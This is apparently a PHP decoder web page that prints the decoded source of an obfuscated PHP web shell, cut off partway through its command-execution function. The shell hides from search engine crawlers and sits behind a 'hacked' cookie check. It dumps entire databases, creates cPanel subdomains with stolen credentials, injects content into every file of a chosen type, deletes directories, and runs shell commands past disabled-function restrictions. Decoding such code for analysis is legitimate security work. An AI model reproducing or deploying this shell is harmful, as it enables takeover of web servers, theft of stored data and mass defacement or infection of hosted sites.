Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$bhrt = "eNrsfXtb4sjy8N/u8+x36M3xN4EVuXp3cAYV76ICXsd52EACREOCSQBxz7yf/e3qS9IJAdFxLrtnnF2Fv..

Decoded Output download

?>b'<?php
$plsym = "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";

@set_magic_quotes_runtime(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);

if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) 
{
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
        header(\'HTTP/1.0 404 Not Found\');
        exit; }
}
// Dump Database
if($_GET["action"] == "dumpDB")
{
	$self=$_SERVER["PHP_SELF"];
	if(isset($_COOKIE[\'dbserver\']))
	{
		$date = date("Y-m-d");
		$dbserver = $_COOKIE["dbserver"];
		$dbuser = $_COOKIE["dbuser"];
		$dbpass = $_COOKIE["dbpass"];
		$dbname = $_GET[\'dbname\'];
		$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
		
		$file = "Dump-$dbname-$date";
		
		$file="Dump-$dbname-$date.sql";
		$fp = fopen($file,"w");
		
		function write($data) 
		{
			global $fp;
			
				fwrite($fp,$data);
			
		}
		mysql_connect ($dbserver, $dbuser, $dbpass);
		mysql_select_db($dbname);
		$tables = mysql_query ("SHOW TABLES");
		while ($i = mysql_fetch_array($tables)) 
		{
			$i = $i[\'Tables_in_\'.$dbname];
			$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
			write($create[\'Create Table\'].";");
			$sql = mysql_query ("SELECT * FROM ".$i);
			if (mysql_num_rows($sql)) {
				while ($row = mysql_fetch_row($sql)) {
					foreach ($row as $j => $k) {
						$row[$j] = "\'".mysql_escape_string($k)."\'";
					}
					write("INSERT INTO $i VALUES(".implode(",", $row).");");
				}
			}
		}
		
		fclose ($fp);
		
		header("Content-Disposition: attachment; filename=" . $file);   
		header("Content-Type: application/download");
		header("Content-Length: " . filesize($file));
		flush();
		
		$fp = fopen($file, "r");
		while (!feof($fp))
		{
			echo fread($fp, 65536);
			flush();
		} 
		fclose($fp); 
	}
}
$hs_dhanush = "<style type=\"text/css\">
<!--

body,td,th {
	color: #FF0000;
	font-size: 14px;
}
tr:hover.lines
{
background-color:#000000;}
tr.lines
{
background-color:#0C0C0C;}
div.fixedbox
{
	width:70%;
	padding:8px;
	background-color:#171717;
	position:fixed;
	left:15%;
	top:120px;
	box-shadow: 0px 0px 10px #000;
	-moz-border-radius: 5px 5px 5px 5px;
	-webkit-border-radius: 5px 5px 5px 5px;
	border-radius: 5px 5px 5px 5px;
}
div.logindiv{
background-color:#171717; }
table.btmtbl{
border-collapse:collapse;
border-color:red;}
td.btmtbl{
border-color:red;}
input.but {
    background-color:#000000;
    color:#FF0000;
    border : 1px solid #1B1B1B;
}
a:link {
	color: #00FF00;
	text-decoration:none;
	font-weight:500;
}
a:hover {
	color:#00FF00;
	text-decoration:underline;
}
font.txt
{
	color: #00FF00;
	text-decoration:none;
	font-size:14px;
}
font.om
{
	color: #00FF00;
}
/* Write Permission Font */
font.wrtperm
{
	color:#00FF00;
}
/* Read Permission Font */
font.readperm
{
	color:#FF0000;
}
/* No  Permission Font */
font.noperm
{
	color:#FFFFFF;
}
font.mainmenu
{
	color:#FF0000;
	text-decoration:none;
	font-size:14px;
}
a:visited {
	color: #FF0000;
}
input.box
{
    background-color:#0C0C0C;
    color: lime;
    border : 1px solid #1B1B1B;
	-moz-border-radius:6px;
	width:400;
	border-radius:6px;
}
input.sbox
{
    background-color:#0C0C0C;
    color: lime;
    border : 1px solid #1B1B1B;
	-moz-border-radius:6px;
	width:180;
	border-radius:6px;
}
select.sbox
{
    background-color:#0C0C0C;
    color: lime;
    border : 1px solid #1B1B1B;
	-moz-border-radius:6px;
	width:180;
	border-radius:6px;
}
select.box
{
    background-color:#0C0C0C;
    color: lime;
    border : 1px solid #1B1B1B;
	-moz-border-radius:6px;
	width:400;
	border-radius:6px;
}

textarea.box
{
    border : 3px solid #111;
    background-color:#161616;
    color : lime;
    margin-top: 10px;
	-moz-border-radius:7px;
	border-radius:7px;
}
body {
	background-color:#000000;
}
.myphp table
{ 
	width:100%;
	padding:18px 10px;
	border : 1px solid #1B1B1B;
} 
.myphp td
{ 
	background:#111111; 
	color:#00ff00; 
	padding:6px 8px; 
	border-bottom:1px solid #222222;
	font-size:14px; 
} 
.myphp th, th
{ 
	background:#181818; 
	
} 
-->
</style>";
$hs_orange = "<style type=\"text/css\">
<!--
body {
background-image:url($bgimage);
background-color:#000000;
background-repeat:no-repeat;
background-attachment:fixed;
}
/* Shell Title Color*/
span.headtitle
{ 
	color:#F90;
	text-decoration:none;
	
}
/* Login Page div*/
div.logindiv
{
background-color:#000000;
opacity:0.5;
width:50%;
border-radius:7px;
margin-top:150px;
-moz-border-radius:25px;
height:410px;
border: solid 1px 
#878787;
border-radius: 13px;
box-shadow: 0px 0px 10px 
black;
}
div.fixedbox
{
	width:70%;
	padding:8px;
	background-color:#171717;
	position:fixed;
	left:15%;
	top:120px;
	box-shadow: 0px 0px 35px #000;
	-moz-border-radius: 5px 5px 5px 5px;
	-webkit-border-radius: 5px 5px 5px 5px;
	border-radius: 5px 5px 5px 5px;
}
table.tbl
{
border:#F90;
}
body,td,th {
	color: #F90;
	font-size: 14px;
}
table.btmtbl{
border-collapse:collapse;
border-color:#F90;}
td.btmtbl{
border-color:#F90;}
/* Present Working Directory Table */
table.pwdtbl
{
	border-color:#F90;
}
/* File List Hover */
tr.lines:hover
{
background-color:#666666;
opacity:0.5;
}
/* File List */
tr.lines
{
	height:12px;
}
/* Functions Config */
td.myfun
{
  display: inline;
  padding: 1px;
  margin: 5px;
  border: 1px solid #AAA;
  border-radius: 4px;
  -moz-border-radius:4px;
  box-shadow: 0px 0px 2px #000;
}
/* Functions Config Hover */
td.myfun:hover
{
  box-shadow: 0px 0px 2px #FF0;
}
/* Button Config */
input.but {
    border: 1px solid #F90;
	background-color:#000000;
	color:#FFFFFF;
    
  	box-shadow: 0px 0px 2px #F90 inset;
}
/* Link Config */
a:link {
	color: #F90;
	text-decoration:none;
	font-weight:500;
}
/* Link Config Hover */
a:hover {
	color:#666666;
	text-decoration:underline;
}
/* Link Config Visited */
a:visited {
	color: #F90;
	text-decoration:none;
}
/* font Config */
font.txt
{
	color: #FFFFFF;
	text-decoration:none;
	font-size:13px;
}
font.om
{
	color: #F90;
}
/* Function Font Config */
font.fun
{
	color:#F90;
}
/* Write Permission Font */
font.wrtperm
{
	color:#F90;
}
/* Read Permission Font */
font.readperm
{
	color:#FF0000;
}
/* No  Permission Font */
font.noperm
{
	color:#FFFFFF;
}
/* Upload File Config */
input.upld
{
    width:400;
	margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
}
/* Input TextBox Config */
input.box
{
	width:400;
	margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
}
/* Input Small TextBox Config */
input.sbox
{
    width:180;
	margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
}
/* Input Small SelectBox Config */
select.sbox
{
    width:180;
	margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
}
/* Input SelectBox Config */
select.box
{
    width:400;
	margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
}
/* TextArea Config */
textarea.box
{
    border: 1px solid #F90;
	color:#FFFFFF;
    margin-top: 10px;
	box-shadow: 0px 0px 3px #F90 inset;
  	background-color: #000000;
	opacity: 0.50;
}
.myphp table
{ 
	width:100%;
	padding:18px 10px;
	border: 1px solid #F90;
} 
.myphp td
{ 
	padding:6px 8px; 
	border-bottom:1px solid #222222;
	font-size:14x; 
} 

-->
</style>";
$hs_404 = "<style type=\"text/css\">
<!--
span.headtitle
{ 
	color:#00ff00;
	text-decoration:none;
	
}
body, th{
	color:#00ff00;
	background-color:#000000;
	font-size: 13px;
}
div.logindiv{
background-color:#171717; }
div.fixedbox
{
	width:70%;
	padding:8px;
	background-color:#171717;
	position:fixed;
	left:15%;
	top:120px;
	box-shadow: 0px 0px 35px #000;
	-moz-border-radius: 5px 5px 5px 5px;
	-webkit-border-radius: 5px 5px 5px 5px;
	border-radius: 5px 5px 5px 5px;
}
table.tbl
{
border:#00ff00;
}
table.btmtbl{
border-collapse:collapse;
border-color:lime;}
td.btmtbl{
border-color:lime;}
tr.lines:hover
{
	background-color:#5e5e5e;
}
tr.lines
{
	background-color:#000000;
	height:12px;
	font-size: 14px;
}
td.myfun
{
  border-style:none;
  margin: 5px;
}
td.myfun:hover
{
  box-shadow: 0px 0px 2px #FF0;
}
input.but {
    margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}
a:link {
	color: #00ff00;
	text-decoration:none;
	font-weight:500;
}
a:visited
{
color:#00ff00;
}
a:hover {
	background:#ff0000;
}
font.mainmenu
{
	font-size:14px;
}
font.txt
{
	color: #FFFFFF;
	text-decoration:none;
	font-size:13px;
}
font.om
{
	color:#00FF00;
}
font.fun
{

	color:#00ff00;
}
font.wrtperm
{
	color:#00ff00;
}
font.readperm
{
	color:#FF0000;
}
font.noperm
{
	color:#FFFFFF;
}
input.upld
{
    width:400;
	margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}
input.box
{
    width:400;
	margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}
input.sbox
{
    width:180;
	margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}
select.sbox
{
    width:180;
	margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}
select.box
{
    width:400;
	margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}

textarea.box
{
  margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
}
.myphp table
{ 
	width:100%;
	padding:18px 10px;
	border : 1px solid #00FF00;
} 
.myphp td
{ 
	background:#111111; 
	color:#00ff00; 
	padding:6px 8px; 
	border-bottom:1px solid #222222;
	font-size:13px; 
} 
.myphp th,
{ 
	background:#181818; 
	
} 
-->
</style>";
$hs_phizo = "<style type=\"text/css\">
<!--
span.headtitle
{ 
	color:#000000;
	text-decoration:none;
	
}
div.logindiv
{
background-color:#CCC;
width:50%;
border-radius:7px;
margin-top:150px;
-moz-border-radius:25px;
height:410px;
border: solid 1px 
#878787;
border-radius: 13px;
box-shadow: 0px 0px 10px 
black;
}
div.fixedbox
{
	width:70%;
	padding:8px;
	background-color:#999999;
	position:fixed;
	left:15%;
	top:120px;
	box-shadow: 0px 0px 10px #000;
	-moz-border-radius: 5px 5px 5px 5px;
	-webkit-border-radius: 5px 5px 5px 5px;
	border-radius: 5px 5px 5px 5px;
}
body,td,th {
	color: #000000;
	font-size: 14px;
}
table.pwdtbl
{
	width:95%;
	background-color:#999999;
	-moz-border-radius:25px;
	border-radius:25px;
}
table#maintable
{
	background-color: #999999;
  border: solid 1px #878787;
  border-radius: 13px;
  box-shadow: 0px 0px 10px #000;
  width: 100%;
  margin: auto;
  height: auto;
}
tr.lines:hover
{
background-color:#C0C0C0;
}
tr.lines
{
	background-color:#999999;
	height:12px;
}
td.myfun
{
  display: inline;
  padding: 1px;
  margin: 5px;
  border: 1px solid #AAA;
  border-radius: 4px;
  -moz-border-radius:4px;
  box-shadow: 0px 0px 2px #000;
}
td.myfun:hover
{
  box-shadow: 0px 0px 2px #FF0;
}
input.but {
    border: 1px solid #787878;
    border-radius: 5px;
  	box-shadow: 0px 0px 2px #000 inset;
}
a:link,a:visited {
	color: #000000;
	text-decoration:none;
	font-weight:500;
}
a:hover {
	color:#666666;
	text-decoration:underline;
}
font.mainmenu
{
	display: inline;
	padding: 1px;
	border: 1px solid #AAA;
	border-radius: 4px;
	box-shadow: 0px 0px 2px #000;
	text-decoration: none;
	font-weight: bold;
	color: #696969;
}
font.txt
{
	color: #000000;
	text-decoration:none;
	font-size:13px;
}
font.om
{
	color:#000000;
}
font.fun
{
	color: #696969;
}
font.wrtperm
{
	color:#000000;
}
font.readperm
{
	color:#000000;
}
font.noperm
{
	color:#000000;
}
input.upld
{
	border: 1px solid #787878; 
    box-shadow: 0px 0px 3px #000 inset;
	background-color: #AAA;
	font-family: Courier;
	-moz-border-radius:6px;
	width:400;
	border-radius:6px;
}
input.box
{
    border: 1px solid #787878; 
    box-shadow: 0px 0px 3px #000 inset;
    background-color: #AAA;
    font-family: Courier;
	-moz-border-radius:6px;
	width:400;
	border-radius:6px;
}
input.sbox
{
    border: 1px solid #787878; 
    box-shadow: 0px 0px 3px #000 inset;
    background-color: #AAA;
    font-family: Courier;
	-moz-border-radius:6px;
	width:180;
	border-radius:6px;
}
select.sbox
{
    border: 1px solid #787878; 
    box-shadow: 0px 0px 3px #000 inset;
    background-color: #AAA;
    font-family: Courier;
	-moz-border-radius:6px;
	width:180;
	border-radius:6px;
}
select.box
{
    border: 1px solid #787878; 
    box-shadow: 0px 0px 3px #000 inset;
    background-color: #AAA;
    font-family: Courier;
	-moz-border-radius:6px;
	width:400;
	border-radius:6px;
}

textarea.box
{
    border: 1px solid #787878;
    margin-top: 10px;
	-moz-border-radius:7px;
	box-shadow: 0px 0px 3px #000 inset;
  	background-color: #AAA;
}
textarea:focus
{
  box-shadow: 0px 0px 3px #FF0 inset;
}
body {
	background-color:#C0C0C0;
}
.myphp table
{ 
	width:100%;
	padding:18px 10px;
	border : 1px solid #1B1B1B;
} 
.myphp td
{ 
	/*background:#111111; */
	color:#000000; 
	padding:6px 8px; 
	border-bottom:1px solid #222222;
	font-size:14px; 
} 
.myphp th, th
{ 
	background:#999999;
	
} 
-->
</style>";

	if($_COOKIE[\'style\']==\'dhanush\')
		$shellstyle = $hs_dhanush;
	elseif($_COOKIE[\'style\']==\'404\')
		$shellstyle = $hs_404;
	elseif($_COOKIE[\'style\']==\'orange\')
		$shellstyle = $hs_orange;
	elseif($_COOKIE[\'style\']==\'phizo\')
		$shellstyle = $hs_phizo;
	else
	{
		if($my_shell_style == "phizo")
			$shellstyle = $hs_phizo;
		elseif($my_shell_style==\'dhanush\')
			$shellstyle = $hs_dhanush;
		elseif($my_shell_style==\'404\')
			$shellstyle = $hs_404;
		elseif($my_shell_style==\'orange\')
			$shellstyle = $hs_orange;
	}
if(isset($_COOKIE[\'hacked\']) && $_COOKIE[\'hacked\']==md5($pass))
{
	$self=$_SERVER["PHP_SELF"];
	$os = "N/D";
	$bdmessage = null;
	$dir = getcwd();
	
	$url = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\'];
	$path=explode(\'/\',$url);
	$curr_url =str_replace($path[count($path)-1],\'\',$url);
	
	if(strtolower(substr(PHP_OS,0,3)) == "win")
	{
		$SEPARATOR = \'\\';
		$os = "Windows";
		$directorysperator="\";
	}
	else
	{
		$os = "Linux";
		$directorysperator=\'/\';
	}
	function Trail($d,$directsperator)
	{
		$d=explode($directsperator,$d);
		array_pop($d);
		array_pop($d);
		$str=implode($d,$directsperator);
		return $str;
	}
	
	function randomt() 
	{ 
		$chars = "abcdefghijkmnopqrstuvwxyz023456789"; 
		srand((double)microtime()*1000000); 
		$i = 0; 
		$pass = \'\' ; 
				
		while ($i <= 7) 
		{ 
			$num = rand() % 33; 
			$tmp = substr($chars, $num, 1); 
			$pass = $pass . $tmp; 
			$i++; 
		} 
		return $pass; 
	}
	function make_subdomain($subDomain,$cPanelUser,$cPanelPass,$subindex)
	{
		$rootDomain = $_SERVER[\'SERVER_NAME\'];
		$buildRequest = "/frontend/x3/subdomain/doadddomain.html?rootdomain=" . $rootDomain . "&domain=" . $subDomain . "&dir=public_html/" . $subDomain;
 
		$openSocket = fsockopen(\'localhost\',2082);
		if(!$openSocket) {
			return "Socket error<BR>";
		}
	 
		$authString = $cPanelUser . ":" . $cPanelPass;
		$authPass = base64_encode($authString);
		$buildHeaders  = "GET " . $buildRequest ."
";
		$buildHeaders .= "HTTP/1.0
";
		$buildHeaders .= "Host:localhost
";
		$buildHeaders .= "Authorization: Basic " . $authPass . "
";
		$buildHeaders .= "
";
	 
		fputs($openSocket, $buildHeaders);
		while(!feof($openSocket)) {
		fgets($openSocket,128);
		}
		fclose($openSocket);
		// create index file
		@chdir($subDomain);
	 	$file5 = fopen("index.html","w");
		fputs($file5,$subindex);
		fclose($file5);
		$newDomain = "http://" . $subDomain . "." . $rootDomain . "/<BR>";

		return $newDomain;
}
	
	// Database functions
	function listdatabase()
	{	
		$self=$_SERVER["PHP_SELF"];
		?>
		<br>
		<form>
		<table>
			<tr>
				<td><input type="text" class="box" name="dbname"></td>
				<td><input type="button" onClick="viewtables(\'createDB\',dbname.value)" value="  Create Database  " class="but"></td>
			</tr>
			</table>
		</form>
			<br>
		<?php 
		$mysqlHandle = mysql_connect ($_COOKIE[\'dbserver\'], $_COOKIE[\'dbuser\'], $_COOKIE[\'dbpass\']);
		$result = mysql_query("SHOW DATABASE"); 
		echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>
";

		$pDB = mysql_list_dbs( $mysqlHandle );
		$num = mysql_num_rows( $pDB );
		for( $i = 0; $i < $num; $i++ ) 
		{
			$dbname = mysql_dbname( $pDB, $i );
			mysql_select_db($dbname,$mysqlHandle);
			$result = mysql_query("SHOW TABLES"); 
			$num_of_tables = mysql_num_rows($result);
			echo "<tr>
";
			echo "<td><a href=# onClick=\"viewtables(\'listTables\',\'$dbname\')\"><font  size=3>$dbname</font></a> ($num_of_tables)</td>
";
			echo "<td><a href=# onClick=\"viewtables(\'listTables\',\'$dbname\')\">Tables</a></td>
";
			echo "<td><a href=# onClick=\"viewtables(\'dropDB\',\'$dbname\')\">Drop</a></td>
";
			echo "<td><a href=\'$self?action=dumpDB&dbname=$dbname\' onClick=\"return confirm(\'Dump Database \'$dbname\'?\')\">Dump</a></td>
";
			echo "</tr>
";
		}
		echo "</table>
";
		mysql_close($mysqlHandle);
	}
	
	function listtable()
	{
		$self=$_SERVER["PHP_SELF"];
		$dbserver = $_COOKIE["dbserver"];
		$dbuser = $_COOKIE["dbuser"];
		$dbpass = $_COOKIE["dbpass"];
		$dbname = $_GET[\'dbname\'];
		echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";
		 ?>
		<br><br>
		<form>
		<table>

			<tr>
				<td><input type="text" class="box" name="tablename"></td>
				<td><input type="button" onClick="viewtables(\'createtable\',\'<?php echo $_GET[\'dbname\'];?>\')" value="  Create Table  " name="createmydb" class="but"></td>
			</tr>
			</table>
		
			<br>
			<form>
			<table>
				<tr>
					<td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
				</tr>
				<tr>
					<td><input type="button" onClick="viewtables(\'executequery\',\'<?php echo $_GET[\'dbname\'];?>\',\'<?php echo $_GET[\'tablename\']; ?>\',\'\',\'\',executemyquery.value)" value="Execute" class="but"></td>
				</tr>
			</table>
			</form>
			
		<?php 
		
		$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
		
		mysql_select_db($dbname);
		$pTable = mysql_list_tables( $dbname );
	
		if( $pTable == 0 ) {
			$msg  = mysql_error();
			echo "<h3>Error : $msg</h3><p>
";
			return;
		}
		$num = mysql_num_rows( $pTable );
	
		echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>
";
	
		for( $i = 0; $i < $num; $i++ ) 
		{
			$tablename = mysql_tablename( $pTable, $i );
			$result = mysql_query("select * from $tablename");
			$num_rows = mysql_num_rows($result);
			echo "<tr>
";
			echo "<td>
";
			echo "<a href=# onClick=\"viewtables(\'viewdata\',\'$dbname\',\'$tablename\')\"><font  size=3>$tablename</font></a> ($num_rows)
";
			echo "</td>
";
			echo "<td>
";
			echo "<a href=# onClick=\"viewtables(\'viewSchema\',\'$dbname\',\'$tablename\')\">Schema</a>
";
			echo "</td>
";
			echo "<td>
";
			echo "<a href=# onClick=\"viewtables(\'viewdata\',\'$dbname\',\'$tablename\')\">Data</a>
";
			echo "</td>
";
			echo "<td>
";
			echo "<a href=# onClick=\"viewtables(\'empty\',\'$dbname\',\'$tablename\')\">Empty</a>
";
			echo "</td>
";
			echo "<td>
";
			echo "<a href=# onClick=\"viewtables(\'dropTable\',\'$dbname\',\'$tablename\')\">Drop</a>
";
			echo "</td>
";
			echo "</tr>
";
		}
	
		echo "</table></form>";
		mysql_close($mysqlHandle);
		echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";
	}
		
	
	function paramexe($n, $v) 
	{
		$v = trim($v);
		if($v) 
		{
			echo \'<span><font  size=3>\' . $n . \': </font></span>\';
			if(strpos($v, "
") === false)
				echo \'<font  size=2>\' . $v . \'</font><br>\';
			else
				echo \'<pre class=ml1><font class=txt size=3>\' . $v . \'</font></pre>\';
		}
	}
	$mycount = 0;
	function injectdir($dir,$filetype,$mode,$lolinject)
	{
		global $curfile,$mycount;
		if (is_dir($dir))
		{
			$objects = scandir($dir);
			foreach ($objects as $object)
			{
				if ($object != \'.\' && $object != \'..\' && strpos($dir, \'dhanush\') == false && strpos($dir, \'sym\') == false)
				{
					if (is_dir($dir . \'/\' . $object))
					{
						// if we find a directory, do a recursive call
						injectdir($dir . \'/\' . $object,$filetype,$mode,$lolinject);
					}
					else
					{
						$file_parts = pathinfo($object);
						if($file_parts[\'extension\'] == $filetype)
						{
							if(($dir . \'/\' . $object) == $curfile)
								continue;
							$fp=fopen($dir . \'/\' . $object,$mode);
							if (fputs($fp,$lolinject))
							{
								$mycount++;
								echo \'<br><font class=txt >\'.$dir . \'/\' . $object.\' was injected<br></font>\';
							}
							else
								echo \'<font >failed to inject \'.$dir . \'/\' . $object.\'<BR></font>\';
						}
					}
				}
			}
		}
	}
	function rrmdir($dir)
	{
		if (is_dir($dir)) // ensures that we actually have a directory
		{
			$objects = scandir($dir); // gets all files and folders inside
			foreach ($objects as $object)
			{
				if ($object != \'.\' && $object != \'..\')
				{
					if (is_dir($dir . \'/\' . $object))
					{
						// if we find a directory, do a recursive call
						rrmdir($dir . \'/\' . $object);
					}
					else
					{
						// if we find a file, simply delete it
						unlink($dir . \'/\' . $object);
					}
				}
			}
			// the original directory is now empty, so delete it
			rmdir($dir);
		}
	} 
					
	function which($pr)
	{ 
		$path = execmd("which $pr"); 
		if(!empty($path)) 
			return trim($path); 
		else 
			return trim($pr); 
	}
	
	function magicboom($text)
	{ 
		if (!get_magic_quotes_gpc()) 
			return $text; 
		return stripslashes($text); 
	}
	function perlshell($command) 
	{
	$perl=new perl();
	ob_start();
	$perl->eval("system(\'".$command."\')");
	$exec=ob_get_contents();
	ob_end_clean();
	return $exec;
}
function execmd($cmd,$d_functions="None")
{
    if($d_functions=="None") 
	{
		$ret=passthru($cmd); 
		return $ret;
	}
    $funcs=array("shell_exec","exec","passthru","system","popen","perl_func");
    $d_functions=str_replace(" ","",$d_functions);
    $dis_funcs=explode(",",$d_functions);
    foreach($funcs as $safe)
    {
        if(!in_array($safe,$dis_funcs)) 
        {
            if($safe=="exec")
            {
                $ret=@exec($cmd);
                $ret=join("
",$ret);
                return $ret;
            }
            elseif($safe=="system")
            {
                $ret=@system($cmd);
                return $ret;
            }
            elseif($safe=="passthru")
            {
                $ret=@passthru($cmd);
                return $ret;
            }
